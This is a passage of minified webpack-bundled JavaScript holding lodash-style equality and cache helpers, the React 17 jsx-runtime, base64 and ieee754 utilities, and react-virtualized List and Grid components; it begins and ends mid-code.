0===(h=s?s(m,p,d):void 0)&&(h=a(m)?m:i(t[u+1])?[]:{})}r(d,p,h),d=d[p]}return e}},function(e,t,n){var r=n(964),o=function(){try{var e=r(Object,"defineProperty");return e({},"",{}),e}catch(e){}}();e.exports=o},function(e,t){e.exports=function(e,t){return null==e?void 0:e[t]}},function(e,t){var n=/^(?:0|[1-9]\d*)$/;e.exports=function(e,t){var r=typeof e;return!!(t=null==t?9007199254740991:t)&&("number"==r||"symbol"!=r&&n.test(e))&&e>-1&&e%1==0&&e<t}},function(e,t){e.exports=function(e){return e}},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){var r=n(268);e.exports=function(e){if(Array.isArray(e))return r(e)},e.exports.__esModule=!0,e.exports.default=e.exports},function(e,t){e.exports=function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)},e.exports.__esModule=!0,e.exports.default=e.exports},function(e,t){e.exports=function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")},e.exports.__esModule=!0,e.exports.default=e.exports},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){"use strict";
/** @license React v17.0.2
* react-jsx-runtime.production.min.js
*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/n(188);var r=n(0),o=60103;if(t.Fragment=60107,"function"==typeof Symbol&&Symbol.for){var i=Symbol.for;o=i("react.element"),t.Fragment=i("react.fragment")}var a=r.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED.ReactCurrentOwner,l=Object.prototype.hasOwnProperty,s={key:!0,ref:!0,__self:!0,__source:!0};function u(e,t,n){var r,i={},u=null,c=null;for(r in void 0!==n&&(u=""+n),void 0!==t.key&&(u=""+t.key),void 0!==t.ref&&(c=t.ref),t)l.call(t,r)&&!s.hasOwnProperty(r)&&(i[r]=t[r]);if(e&&e.defaultProps)for(r in t=e.defaultProps)void 0===i[r]&&(i[r]=t[r]);return{$$typeof:o,type:e,key:u,ref:c,props:i,_owner:a.current}}t.jsx=u,t.jsxs=u},function(e,t,n){},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.asap=function(e){i.enqueueTask(a.create(e))};var r=n(282),o=n(283),i=new r.AsapQueue,a=new o.TaskFactory(i.registerPendingError)},function(e,t,n){"use strict";(function(e){Object.defineProperty(t,"__esModule",{value:!0}),t.makeRequestCallFromTimer=o,t.makeRequestCallFromMutationObserver=i,t.makeRequestCall=void 0;var n=void 0!==e?e:self,r=n.MutationObserver||n.WebKitMutationObserver;function o(e){return function(){var t=setTimeout(r,0),n=setInterval(r,50);function r(){clearTimeout(t),clearInterval(n),e()}}}function i(e){var t=1,n=new r(e),o=document.createTextNode("");return n.observe(o,{characterData:!0}),function(){t=-t,o.data=t}}var a="function"==typeof r?i:o;t.makeRequestCall=a}).call(this,n(47))},function(e,t,n){"use strict";function r(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}Object.defineProperty(t,"__esModule",{value:!0});var o=function(){function e(t,n){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.onError=t,this.release=n,this.task=null}var t,n,o;return t=e,(n=[{key:"call",value:function(){try{this.task&&this.task()}catch(e){this.onError(e)}finally{this.task=null,this.release(this)}}}])&&r(t.prototype,n),o&&r(t,o),Object.defineProperty(t,"prototype",{writable:!1}),e}();t.RawTask=o},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0})},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){var r=n(1010);e.exports=function(e,t){return r(e,t)}},function(e,t,n){var r=n(1011),o=n(195);e.exports=function e(t,n,i,a,l){return t===n||(null==t||null==n||!o(t)&&!o(n)?t!=t&&n!=n:r(t,n,i,a,e,l))}},function(e,t,n){var r=n(284),o=n(1017),i=n(1022),a=n(1023),l=n(286),s=n(118),u=n(287),c=n(1024),f="[object Object]",d=Object.prototype.hasOwnProperty;e.exports=function(e,t,n,p,h,m){var g=s(e),v=s(t),y=g?"[object Array]":l(e),b=v?"[object Array]":l(t),w=(y="[object Arguments]"==y?f:y)==f,E=(b="[object Arguments]"==b?f:b)==f,S=y==b;if(S&&u(e)){if(!u(t))return!1;g=!0,w=!1}if(S&&!w)return m||(m=new r),g||c(e)?o(e,t,n,p,h,m):i(e,t,y,n,p,h,m);if(!(1&n)){var C=w&&d.call(e,"__wrapped__"),x=E&&d.call(t,"__wrapped__");if(C||x){var O=C?e.value():e,A=x?t.value():t;return m||(m=new r),h(O,A,n,p,m)}}return!!S&&(m||(m=new r),a(e,t,n,p,h,m))}},function(e,t){e.exports=function(){this.__data__=[],this.size=0}},function(e,t,n){var r=n(147),o=Array.prototype.splice;e.exports=function(e){var t=this.__data__,n=r(t,e);return!(n<0)&&(n==t.length-1?t.pop():o.call(t,n,1),--this.size,!0)}},function(e,t,n){var r=n(147);e.exports=function(e){var t=this.__data__,n=r(t,e);return n<0?void 0:t[n][1]}},function(e,t,n){var r=n(147);e.exports=function(e){return r(this.__data__,e)>-1}},function(e,t,n){var r=n(147);e.exports=function(e,t){var n=this.__data__,o=r(n,e);return o<0?(++this.size,n.push([e,t])):n[o][1]=t,this}},function(e,t,n){var r=n(1018),o=n(1019),i=n(1020);e.exports=function(e,t,n,a,l,s){var u=1&n,c=e.length,f=t.length;if(c!=f&&!(u&&f>c))return!1;var d=s.get(e),p=s.get(t);if(d&&p)return d==t&&p==e;var h=-1,m=!0,g=2&n?new r:void 0;for(s.set(e,t),s.set(t,e);++h<c;){var v=e[h],y=t[h];if(a)var b=u?a(y,v,h,t,e,s):a(v,y,h,e,t,s);if(void 0!==b){if(b)continue;m=!1;break}if(g){if(!o(t,(function(e,t){if(!i(g,t)&&(v===e||l(v,e,n,a,s)))return g.push(t)}))){m=!1;break}}else if(v!==y&&!l(v,y,n,a,s)){m=!1;break}}return s.delete(e),s.delete(t),m}},function(e,t,n){var r=n(118);e.exports=function(){if(!arguments.length)return[];var e=arguments[0];return r(e)?e:[e]}},function(e,t){e.exports=function(e,t){for(var n=-1,r=null==e?0:e.length;++n<r;)if(t(e[n],n,e))return!0;return!1}},function(e,t,n){var r=n(1021);e.exports=function(e,t){return!!(null==e?0:e.length)&&r(e,t,0)>-1}},function(e,t){e.exports=function(e,t,n){for(var r=n-1,o=e.length;++r<o;)if(e[r]===t)return r;return-1}},function(e,t){e.exports=function(e,t){return e===t||e!=e&&t!=t}},function(e,t,n){var r=n(285),o=Object.prototype.hasOwnProperty;e.exports=function(e,t,n,i,a,l){var s=1&n,u=r(e),c=u.length;if(c!=r(t).length&&!s)return!1;for(var f=c;f--;){var d=u[f];if(!(s?d in t:o.call(t,d)))return!1}var p=l.get(e),h=l.get(t);if(p&&h)return p==t&&h==e;var m=!0;l.set(e,t),l.set(t,e);for(var g=s;++f<c;){var v=e[d=u[f]],y=t[d];if(i)var b=s?i(y,v,d,t,e,l):i(v,y,d,e,t,l);if(!(void 0===b?v===y||a(v,y,n,i,l):b)){m=!1;break}g||(g="constructor"==d)}if(m&&!g){var w=e.constructor,E=t.constructor;w==E||!("constructor"in e)||!("constructor"in t)||"function"==typeof w&&w instanceof w&&"function"==typeof E&&E instanceof E||(m=!1)}return l.delete(e),l.delete(t),m}},function(e,t){e.exports=function(){return!1}},function(e,t,n){"use strict";t.byteLength=function(e){var t=u(e),n=t[0],r=t[1];return 3*(n+r)/4-r},t.toByteArray=function(e){var t,n,r=u(e),a=r[0],l=r[1],s=new i(function(e,t,n){return 3*(t+n)/4-n}(0,a,l)),c=0,f=l>0?a-4:a;for(n=0;n<f;n+=4)t=o[e.charCodeAt(n)]<<18|o[e.charCodeAt(n+1)]<<12|o[e.charCodeAt(n+2)]<<6|o[e.charCodeAt(n+3)],s[c++]=t>>16&255,s[c++]=t>>8&255,s[c++]=255&t;2===l&&(t=o[e.charCodeAt(n)]<<2|o[e.charCodeAt(n+1)]>>4,s[c++]=255&t);1===l&&(t=o[e.charCodeAt(n)]<<10|o[e.charCodeAt(n+1)]<<4|o[e.charCodeAt(n+2)]>>2,s[c++]=t>>8&255,s[c++]=255&t);return s},t.fromByteArray=function(e){for(var t,n=e.length,o=n%3,i=[],a=0,l=n-o;a<l;a+=16383)i.push(c(e,a,a+16383>l?l:a+16383));1===o?(t=e[n-1],i.push(r[t>>2]+r[t<<4&63]+"==")):2===o&&(t=(e[n-2]<<8)+e[n-1],i.push(r[t>>10]+r[t>>4&63]+r[t<<2&63]+"="));return i.join("")};for(var r=[],o=[],i="undefined"!=typeof Uint8Array?Uint8Array:Array,a="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",l=0,s=a.length;l<s;++l)r[l]=a[l],o[a.charCodeAt(l)]=l;function u(e){var t=e.length;if(t%4>0)throw new Error("Invalid string. Length must be a multiple of 4");var n=e.indexOf("=");return-1===n&&(n=t),[n,n===t?0:4-n%4]}function c(e,t,n){for(var o,i,a=[],l=t;l<n;l+=3)o=(e[l]<<16&16711680)+(e[l+1]<<8&65280)+(255&e[l+2]),a.push(r[(i=o)>>18&63]+r[i>>12&63]+r[i>>6&63]+r[63&i]);return a.join("")}o["-".charCodeAt(0)]=62,o["_".charCodeAt(0)]=63},function(e,t){t.read=function(e,t,n,r,o){var i,a,l=8*o-r-1,s=(1<<l)-1,u=s>>1,c=-7,f=n?o-1:0,d=n?-1:1,p=e[t+f];for(f+=d,i=p&(1<<-c)-1,p>>=-c,c+=l;c>0;i=256*i+e[t+f],f+=d,c-=8);for(a=i&(1<<-c)-1,i>>=-c,c+=r;c>0;a=256*a+e[t+f],f+=d,c-=8);if(0===i)i=1-u;else{if(i===s)return a?NaN:1/0*(p?-1:1);a+=Math.pow(2,r),i-=u}return(p?-1:1)*a*Math.pow(2,i-r)},t.write=function(e,t,n,r,o,i){var a,l,s,u=8*i-o-1,c=(1<<u)-1,f=c>>1,d=23===o?Math.pow(2,-24)-Math.pow(2,-77):0,p=r?0:i-1,h=r?1:-1,m=t<0||0===t&&1/t<0?1:0;for(t=Math.abs(t),isNaN(t)||t===1/0?(l=isNaN(t)?1:0,a=c):(a=Math.floor(Math.log(t)/Math.LN2),t*(s=Math.pow(2,-a))<1&&(a--,s*=2),(t+=a+f>=1?d/s:d*Math.pow(2,1-f))*s>=2&&(a++,s/=2),a+f>=c?(l=0,a=c):a+f>=1?(l=(t*s-1)*Math.pow(2,o),a+=f):(l=t*Math.pow(2,f-1)*Math.pow(2,o),a=0));o>=8;e[n+p]=255&l,p+=h,l/=256,o-=8);for(a=a<<o|l,u+=o;u>0;e[n+p]=255&a,p+=h,a/=256,u-=8);e[n+p-h]|=128*m}},function(e,t){var n={}.toString;e.exports=Array.isArray||function(e){return"[object Array]"==n.call(e)}},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){"use strict";var r=n(44),o=n(119);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var i,a,l=r(n(34)),s=r(n(12)),u=r(n(13)),c=r(n(17)),f=r(n(18)),d=r(n(5)),p=r(n(19)),h=r(n(3)),m=o(n(1048)),g=o(n(0)),v=r(n(33)),y=(n(292),r(n(1)),a=i=function(e){function t(){var e,n;(0,s.default)(this,t);for(var r=arguments.length,o=new Array(r),i=0;i<r;i++)o[i]=arguments[i];return n=(0,c.default)(this,(e=(0,f.default)(t)).call.apply(e,[this].concat(o))),(0,h.default)((0,d.default)(n),"Grid",void 0),(0,h.default)((0,d.default)(n),"_cellRenderer",(function(e){var t=e.parent,r=e.rowIndex,o=e.style,i=e.isScrolling,a=e.isVisible,l=e.key,s=n.props.rowRenderer,u=Object.getOwnPropertyDescriptor(o,"width");return u&&u.writable&&(o.width="100%"),s({index:r,style:o,isScrolling:i,isVisible:a,key:l,parent:t})})),(0,h.default)((0,d.default)(n),"_setRef",(function(e){n.Grid=e})),(0,h.default)((0,d.default)(n),"_onScroll",(function(e){var t=e.clientHeight,r=e.scrollHeight,o=e.scrollTop;(0,n.props.onScroll)({clientHeight:t,scrollHeight:r,scrollTop:o})})),(0,h.default)((0,d.default)(n),"_onSectionRendered",(function(e){var t=e.rowOverscanStartIndex,r=e.rowOverscanStopIndex,o=e.rowStartIndex,i=e.rowStopIndex;(0,n.props.onRowsRendered)({overscanStartIndex:t,overscanStopIndex:r,startIndex:o,stopIndex:i})})),n}return(0,p.default)(t,e),(0,u.default)(t,[{key:"forceUpdateGrid",value:function(){this.Grid&&this.Grid.forceUpdate()}},{key:"getOffsetForRow",value:function(e){var t=e.alignment,n=e.index;return this.Grid?this.Grid.getOffsetForCell({alignment:t,rowIndex:n,columnIndex:0}).scrollTop:0}},{key:"invalidateCellSizeAfterRender",value:function(e){var t=e.columnIndex,n=e.rowIndex;this.Grid&&this.Grid.invalidateCellSizeAfterRender({rowIndex:n,columnIndex:t})}},{key:"measureAllRows",value:function(){this.Grid&&this.Grid.measureAllCells()}},{key:"recomputeGridSize",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=e.columnIndex,n=void 0===t?0:t,r=e.rowIndex,o=void 0===r?0:r;this.Grid&&this.Grid.recomputeGridSize({rowIndex:o,columnIndex:n})}},{key:"recomputeRowHeights",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0;this.Grid&&this.Grid.recomputeGridSize({rowIndex:e,columnIndex:0})}},{key:"scrollToPosition",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0;this.Grid&&this.Grid.scrollToPosition({scrollTop:e})}},{key:"scrollToRow",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0;this.Grid&&this.Grid.scrollToCell({columnIndex:0,rowIndex:e})}},{key:"render",value:function(){var e=this.props,t=e.className,n=e.noRowsRenderer,r=e.scrollToIndex,o=e.width,i=(0,v.default)("ReactVirtualized__List",t);return g.createElement(m.default,(0,l.default)({},this.props,{autoContainerWidth:!0,cellRenderer:this._cellRenderer,className:i,columnWidth:o,columnCount:1,noContentRenderer:n,onScroll:this._onScroll,onSectionRendered:this._onSectionRendered,ref:this._setRef,scrollToRow:r}))}}]),t}(g.PureComponent),(0,h.default)(i,"propTypes",null),a);t.default=y,(0,h.default)(y,"defaultProps",{autoHeight:!1,estimatedRowSize:30,onScroll:function(){},noRowsRenderer:function(){return null},onRowsRendered:function(){},overscanIndicesGetter:m.accessibilityOverscanIndicesGetter,overscanRowCount:10,scrollToAlignment:"auto",scrollToIndex:-1,style:{}})},function(e,t,n){"use strict";var r=n(44);Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"default",{enumerable:!0,get:function(){return o.default}}),Object.defineProperty(t,"Grid",{enumerable:!0,get:function(){return o.default}}),Object.defineProperty(t,"accessibilityOverscanIndicesGetter",{enumerable:!0,get:function(){return i.default}}),Object.defineProperty(t,"defaultCellRangeRenderer",{enumerable:!0,get:function(){return a.default}}),Object.defineProperty(t,"defaultOverscanIndicesGetter",{enumerable:!0,get:function(){return l.default}}),Object.defineProperty(t,"bpfrpt_proptype_NoContentRenderer",{enumerable:!0,get:function(){return s.bpfrpt_proptype_NoContentRenderer}}),Object.defineProperty(t,"bpfrpt_proptype_Alignment",{enumerable:!0,get:function(){return s.bpfrpt_proptype_Alignment}}),Object.defineProperty(t,"bpfrpt_proptype_CellPosition",{enumerable:!0,get:function(){return s.bpfrpt_proptype_CellPosition}}),Object.defineProperty(t,"bpfrpt_proptype_CellSize",{enumerable:!0,get:function(){return s.bpfrpt_proptype_CellSize}}),Object.defineProperty(t,"bpfrpt_proptype_OverscanIndicesGetter",{enumerable:!0,get:function(){return s.bpfrpt_proptype_OverscanIndicesGetter}}),Object.defineProperty(t,"bpfrpt_proptype_RenderedSection",{enumerable:!0,get:function(){return s.bpfrpt_proptype_RenderedSection}}),Object.defineProperty(t,"bpfrpt_proptype_CellRendererParams",{enumerable:!0,get:function(){return s.bpfrpt_proptype_CellRendererParams}}),Object.defineProperty(t,"bpfrpt_proptype_Scroll",{enumerable:!0,get:function(){return s.bpfrpt_proptype_Scroll}});var o=r(n(1049)),i=r(n(1057)),a=r(n(291)),l=r(n(290)),s=n(78)},function(e,t,n){"use strict";var r=n(44),o=n(119);Object.defineProperty(t,"__esModule",{value:!0}),t.default=t.DEFAULT_SCROLLING_RESET_TIME_INTERVAL=void 0;var i,a,l=r(n(34)),s=r(n(12)),u=r(n(13)),c=r(n(17)),f=r(n(18)),d=r(n(5)),p=r(n(19)),h=r(n(3)),m=o(n(0)),g=r(n(33)),v=r(n(1050)),y=r(n(197)),b=r(n(1053)),w=o(n(290)),E=r(n(1054)),S=r(n(291)),C=r(n(98)),x=n(56),O=n(1055);n(78),r(n(1));function A(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function _(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?A(n,!0).forEach((function(t){(0,h.default)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):A(n).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}t.DEFAULT_SCROLLING_RESET_TIME_INTERVAL=150;var T="observed",k="requested",P=(a=i=function(e){function t(e){var n;(0,s.default)(this,t),n=(0,c.default)(this,(0,f.default)(t).call(this,e)),(0,h.default)((0,d.default)(n),"_onGridRenderedMemoizer",(0,b.default)()),(0,h.default)((0,d.default)(n),"_onScrollMemoizer",(0,b.default)(!1)),(0,h.default)((0,d.default)(n),"_deferredInvalidateColumnIndex",null),(0,h.default)((0,d.default)(n),"_deferredInvalidateRowIndex",null),(0,h.default)((0,d.default)(n),"_recomputeScrollLeftFlag",!1),(0,h.default)((0,d.default)(n),"_recomputeScrollTopFlag",!1),(0,h.default)((0,d.default)(n),"_horizontalScrollBarSize",0),(0,h.default)((0,d.default)(n),"_verticalScrollBarSize",0),(0,h.default)((0,d.default)(n),"_scrollbarPresenceChanged",!1),(0,h.default)((0,d.default)(n),"_scrollingContainer",void 0),(0,h.default)((0,d.default)(n),"_childrenToDisplay",void 0),(0,h.default)((0,d.default)(n),"_columnStartIndex",void 0),(0,h.default)((0,d.default)(n),"_columnStopIndex",void 0),(0,h.default)((0,d.default)(n),"_rowStartIndex",void 0),(0,h.default)((0,d.default)(n),"_rowStopIndex",void 0),(0,h.default)((0,d.default)(n),"_renderedColumnStartIndex",0),(0,h.default)((0,d.default)(n),"_renderedColumnStopIndex",0),(0,h.default)((0,d.default)(n),"_renderedRowStartIndex",0),(0,h.default)((0,d.default)(n),"_renderedRowStopIndex",0),(0,h.default)((0,d.default)(n),"_initialScrollTop",void 0),(0,h.default)((0,d.default)(n),"_initialScrollLeft",void 0),(0,h.default)((0,d.default)(n),"_disablePointerEventsTimeoutId",void 0),(0,h.default)((0,d.default)(n),"_styleCache",{}),(0,h.default)((0,d.default)(n),"_cellCache",{}),(0,h.default)((0,d.default)(n),"_debounceScrollEndedCallback",(function(){n._disablePointerEventsTimeoutId=null,n.setState({isScrolling:!1,needToResetStyleCache:!1})})),(0,h.default)((0,d.default)(n),"_invokeOnGridRenderedHelper",(function(){var e=n.props.onSectionRendered;n._onGridRenderedMemoizer({callback:e,indices:{columnOverscanStartIndex:n._columnStartIndex,columnOverscanStopIndex:n._columnStopIndex,columnStartIndex:n._renderedColumnStartIndex,columnStopIndex:n._renderedColumnStopIndex,rowOverscanStartIndex:n._rowStartIndex,rowOverscanStopIndex:n._rowStopIndex,rowStartIndex:n._renderedRowStartIndex,rowStopIndex:n._renderedRowStopIndex}})})),(0,h.default)((0,d.default)(n),"_setScrollingContainerRef",(function(e){n._scrollingContainer=e})),(0,h.default)((0,d.default)(n),"_onScroll",(function(e){e.target===n._scrollingContainer&&n.handleScrollEvent(e.target)}));var r=new y.default({cellCount:e.columnCount,cellSizeGetter:function(n){return t._wrapSizeGetter(e.columnWidth)(n)},estimatedCellSize:t._getEstimatedColumnSize(e)}),o=new y.default({cellCount:e.rowCount,cellSizeGetter:function(n){return t._wrapSizeGetter(e.rowHeight)(n)},estimatedCellSize:t._getEstimatedRowSize(e)});return n.state={instanceProps:{columnSizeAndPositionManager:r,rowSizeAndPositionManager:o,prevColumnWidth:e.columnWidth,prevRowHeight:e.rowHeight,prevColumnCount:e.columnCount,prevRowCount:e.rowCount,prevIsScrolling:!0===e.isScrolling,prevScrollToColumn:e.scrollToColumn,prevScrollToRow:e.scrollToRow,scrollbarSize:0,scrollbarSizeMeasured:!1},isScrolling:!1,scrollDirectionHorizontal:w.SCROLL_DIRECTION_FORWARD,scrollDirectionVertical:w.SCROLL_DIRECTION_FORWARD,scrollLeft:0,scrollTop:0,scrollPositionChangeReason:null,needToResetStyleCache:!1},e.scrollToRow>0&&(n._initialScrollTop=n._getCalculatedScrollTop(e,n.state)),e.scrollToColumn>0&&(n._initialScrollLeft=n._getCalculatedScrollLeft(e,n.state)),n}return(0,p.default)(t,e),(0,u.default)(t,[{key:"getOffsetForCell",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=e.alignment,n=void 0===t?this.props.scrollToAlignment:t,r=e.columnIndex,o=void 0===r?this.props.scrollToColumn:r,i=e.rowIndex,a=void 0===i?this.props.scrollToRow:i,l=_({},this.props,{scrollToAlignment:n,scrollToColumn:o,scrollToRow:a});return{scrollLeft:this._getCalculatedScrollLeft(l),scrollTop:this._getCalculatedScrollTop(l)}}},{key:"getTotalRowsHeight",value:function(){return this.state.instanceProps.rowSizeAndPositionManager.getTotalSize()}},{key:"getTotalColumnsWidth",value:function(){return this.state.instanceProps.columnSizeAndPositionManager.getTotalSize()}},{key:"handleScrollEvent",value:function(e){var t=e.scrollLeft,n=void 0===t?0:t,r=e.scrollTop,o=void 0===r?0:r;if(!(o<0)){this._debounceScrollEnded();var i=this.props,a=i.autoHeight,l=i.autoWidth,s=i.height,u=i.width,c=this.state.instanceProps,f=c.scrollbarSize,d=c.rowSizeAndPositionManager.getTotalSize(),p=c.columnSizeAndPositionManager.getTotalSize(),h=Math.min(Math.max(0,p-u+f),n),m=Math.min(Math.max(0,d-s+f),o);if(this.state.scrollLeft!==h||this.state.scrollTop!==m){var g={isScrolling:!0,scrollDirectionHorizontal:h!==this.state.scrollLeft?h>this.state.scrollLeft?w.SCROLL_DIRECTION_FORWARD:w.SCROLL_DIRECTION_BACKWARD:this.state.scrollDirectionHorizontal,scrollDirectionVertical:m!==this.state.scrollTop?m>this.state.scrollTop?w.SCROLL_DIRECTION_FORWARD:w.SCROLL_DIRECTION_BACKWARD:this.state.scrollDirectionVertical,scrollPositionChangeReason:T};a||(g.scrollTop=m),l||(g.scrollLeft=h),g.needToResetStyleCache=!1,this.setState(g)}this._invokeOnScrollMemoizer({scrollLeft:h,scrollTop:m,totalColumnsWidth:p,totalRowsHeight:d})}}},{key:"invalidateCellSizeAfterRender",value:function(e){var t=e.columnIndex,n=e.rowIndex;this._deferredInvalidateColumnIndex="number"==typeof this._deferredInvalidateColumnIndex?Math.min(this._deferredInvalidateColumnIndex,t):t,this._deferredInvalidateRowIndex="number"==typeof this._deferredInvalidateRowIndex?Math.min(this._deferredInvalidateRowIndex,n):n}},{key:"measureAllCells",value:function(){var e=this.props,t=e.columnCount,n=e.rowCount,r=this.state.instanceProps;r.columnSizeAndPositionManager.getSizeAndPositionOfCell(t-1),r.rowSizeAndPositionManager.getSizeAndPositionOfCell(n-1)}},{key:"recomputeGridSize",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=e.columnIndex,n=void 0===t?0:t,r=e.rowIndex,o=void 0===r?0:r,i=this.props,a=i.scrollToColumn,l=i.scrollToRow,s=this.state.instanceProps;s.columnSizeAndPositionManager.resetCell(n),s.rowSizeAndPositionManager.resetCell(o),this._recomputeScrollLeftFlag=a>=0&&(this.state.scrollDirectionHorizontal===w.SCROLL_DIRECTION_FORWARD?n<=a:n>=a),this._recomputeScrollTopFlag=l>=0&&(this.state.scrollDirectionVertical===w.SCROLL_DIRECTION_FORWARD?o<=l:o>=l),this._styleCache={},this._cellCache={},this.forceUpdate()}},{key:"scrollToCell",value:function(e){var t=e.columnIndex,n=e.rowIndex,r=this.props.columnCount,o=this.props;r>1&&void 0!==t&&this._updateScrollLeftForScrollToColumn(_({},o,{scrollToColumn:t})),void 0!==n&&this._updateScrollTopForScrollToRow(_({},o,{scrollToRow:n}))}},{key:"componentDidMount",value:function(){var e=this.props,n=e.getScrollbarSize,r=e.height,o=e.scrollLeft,i=e.scrollToColumn,a=e.scrollTop,l=e.scrollToRow,s=e.width,u=this.state.instanceProps;if(this._initialScrollTop=0,this._initialScrollLeft=0,this._handleInvalidatedGridSize(),u.scrollbarSizeMeasured||this.setState((function(e){var t=_({},e,{needToResetStyleCache:!1});return t.instanceProps.scrollbarSize=n(),t.instanceProps.scrollbarSizeMeasured=!0,t})),"number"==typeof o&&o>=0||"number"==typeof a&&a>=0){var c=t._getScrollToPositionStateUpdate({prevState:this.state,scrollLeft:o,scrollTop:a});c&&(c.needToResetStyleCache=!1,this.setState(c))}this._scrollingContainer&&(this._scrollingContainer.scrollLeft!==this.state.scrollLeft&&(this._scrollingContainer.scrollLeft=this.state.scrollLeft),this._scrollingContainer.scrollTop!==this.state.scrollTop&&(this._scrollingContainer.scrollTop=this.state.scrollTop));var f=r>0&&s>0;i>=0&&f&&this._updateScrollLeftForScrollToColumn(),l>=0&&f&&this._updateScrollTopForScrollToRow(),this._invokeOnGridRenderedHelper(),this._invokeOnScrollMemoizer({scrollLeft:o||0,scrollTop:a||0,totalColumnsWidth:u.columnSizeAndPositionManager.getTotalSize(),totalRowsHeight:u.rowSizeAndPositionManager.getTotalSize()}),this._maybeCallOnScrollbarPresenceChange()}},{key:"componentDidUpdate",value:function(e,t){var n=this,r=this.props,o=r.autoHeight,i=r.autoWidth,a=r.columnCount,l=r.height,s=r.rowCount,u=r.scrollToAlignment,c=r.scrollToColumn,f=r.scrollToRow,d=r.width,p=this.state,h=p.scrollLeft,m=p.scrollPositionChangeReason,g=p.scrollTop,v=p.instanceProps;this._handleInvalidatedGridSize();var y=a>0&&0===e.columnCount||s>0&&0===e.rowCount;m===k&&(!i&&h>=0&&(h!==this._scrollingContainer.scrollLeft||y)&&(this._scrollingContainer.scrollLeft=h),!o&&g>=0&&(g!==this._scrollingContainer.scrollTop||y)&&(this._scrollingContainer.scrollTop=g));var b=(0===e.width||0===e.height)&&l>0&&d>0;if(this._recomputeScrollLeftFlag?(this._recomputeScrollLeftFlag=!1,this._updateScrollLeftForScrollToColumn(this.props)):(0,E.default)({cellSizeAndPositionManager:v.columnSizeAndPositionManager,previousCellsCount:e.columnCount,previousCellSize:e.columnWidth,previousScrollToAlignment:e.scrollToAlignment,previousScrollToIndex:e.scrollToColumn,previousSize:e.width,scrollOffset:h,scrollToAlignment:u,scrollToIndex:c,size:d,sizeJustIncreasedFromZero:b,updateScrollIndexCallback:function(){return n._updateScrollLeftForScrollToColumn(n.props)}}),this._recomputeScrollTopFlag?(this._recomputeScrollTopFlag=!1,this._updateScrollTopForScrollToRow(this.props)):(0,E.default)({cellSizeAndPositionManager:v.rowSizeAndPositionManager,previousCellsCount:e.rowCount,previousCellSize:e.rowHeight,previousScrollToAlignment:e.scrollToAlignment,previousScrollToIndex:e.scrollToRow,previousSize:e.height,scrollOffset:g,scrollToAlignment:u,scrollToIndex:f,size:l,sizeJustIncreasedFromZero:b,updateScrollIndexCallback:function(){return n._updateScrollTopForScrollToRow(n.props)}}),this._invokeOnGridRenderedHelper(),h!==t.scrollLeft||g!==t.scrollTop){var w=v.rowSizeAndPositionManager.getTotalSize(),S=v.columnSizeAndPositionManager.getTotalSize();this._invokeOnScrollMemoizer({scrollLeft:h,scrollTop:g,totalColumnsWidth:S,totalRowsHeight:w})}this._maybeCallOnScrollbarPresenceChange()}},{key:"componentWillUnmount",value:function(){this._disablePointerEventsTimeoutId&&(0,O.cancelAnimationTimeout)(this._disablePointerEventsTimeoutId)}},{key:"render",value:function(){var 